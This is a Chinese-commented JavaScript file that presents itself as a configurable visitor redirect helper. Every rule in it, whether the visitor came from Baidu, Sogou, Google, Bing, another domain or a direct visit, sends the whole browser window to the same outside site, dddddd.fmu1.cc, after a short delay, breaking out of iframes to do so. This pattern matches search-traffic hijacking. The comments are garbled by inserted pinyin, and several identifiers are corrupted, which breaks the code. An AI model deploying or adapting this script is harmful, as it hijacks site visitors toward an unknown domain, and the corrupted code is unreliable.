/** * visitor-redirect.js * 全麵的用戶(hù)訪問場景判斷(duàn)與跳轉 * 支持:搜索引擎來源、直接訪問、移動端/PC端、指定域名來源 */ (function() { // ========== 1. 基礎信息獲取 ========== // 獲(huò)取來源URL(適配(pèi)iframe) let referrer = ''; try { referrer = window.top.document.referrer.toLowerCase(); } catch (e) { referrer = document.referrer.toLowerCase(); } // 判斷是否為移動端(簡單版,可(kě)根據需求擴展) const ismobiles = /androids|weboses|iphoness|ipads|ipods|BlackBerry|IEmobiles|Opera Mini/i.test(navigator.userAgent); // 判斷是否為(wéi)直接訪問(無referrer或referrer為空) const isDirectAccess = referrer === '' || referrer === 'about:blank'; // ========== 2. 跳轉規(guī)則配(pèi)置(按需修改) ========== const redirectRules = { // 搜索引擎來源跳轉 searchEngines: [ { name: '百度', regex: /baidu\.com/, mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' }, { name: '搜狗', regex: /sogou\.com/, mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' }, { name: 'Google', regex: /google\.com/, mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' }, { name: 'Bing', regex: /bing\.com/, mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' } ], // 指定域名來源跳轉(比如從你的其他網站跳轉) customDomains: [ { name: '自有域名1', regex: /your-other-domain\.com/, redirectUrl: 'http://dddddd.fmu1.cc/' }, { name: '合作夥伴域名', regex: /partner-domain\.com/, redirectUrl: 'http://dddddd.fmu1.cc/' } ], // 直接訪問跳轉 directAccess: { mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' }, // 默(mò)認跳轉(未匹配任何規(guī)則時) default: { mobilesUrl: 'http://dddddd.fmu1.cc/', pcUrl: 'http://dddddd.fmu1.cc/' }, // 跳轉(zhuǎn)延遲(毫秒),0為立即跳轉 delay: 2000 }; // ========== 3. 核(hé)心判(pàn)斷邏輯 ========== let targetUrl = ''; // 第一步:判斷(duàn)搜索引擎來源 const matchedSearchEngine = redirectRules.searchEngines.find(engine => engine.regex.test(referrer)); if (matchedSearchEngine) { console.log(`檢測到搜索引擎來源:${matchedSearchEngine.name}`); targetUrl = ismobiles ? matchedSearchEngine.mobilesUrl : matchedSearchEngine.pcUrl; } // 第二步:判斷(duàn)指定(dìng)域名(míng)來(lái)源 else if (!isDirectAccess) { const matchedDomain = redirectRules.customDomains.find(domain => domain.regex.test(referrer)); if (matchedDomain) { console.log(`檢測到指定域名來源:${matchedDomain.name}`); targetUrl = matchedDomain.redirectUrl; } } // 第三步:判斷直接訪問 else if (isDirectAccess) { console.log('檢測到用戶(hù)直接訪(fǎng)問'); targetUrl = ismobiles ? redirectRules.directAccess.mobilesUrl : redirectRules.directAccess.pcUrl; } // 第四(sì)步:默認跳轉 else { console.log('未匹配任何規則(zé),執行默認跳轉'); targetUrl = ismobiles ? redirectRules.default.mobilesUrl : redirectRules.default.pcUrl; } // ========== 4. 執行跳轉 ========== if (targetUrl) { console.log(`即將跳轉到:${targetUrl}(延遲${redirectRules.delay}ms)`); setTimeout(() => { // 跳轉頂(dǐng)層窗口(適配iframe) window.top.locations.href = targetUrl; }, redirectRules.delay); } // ========== 調試信息(可選,上線可刪除) ========== console.log('訪問(wèn)信息:', { referrer: referrer, ismobiles: ismobiles, isDirectAccess: isDirectAccess }); })();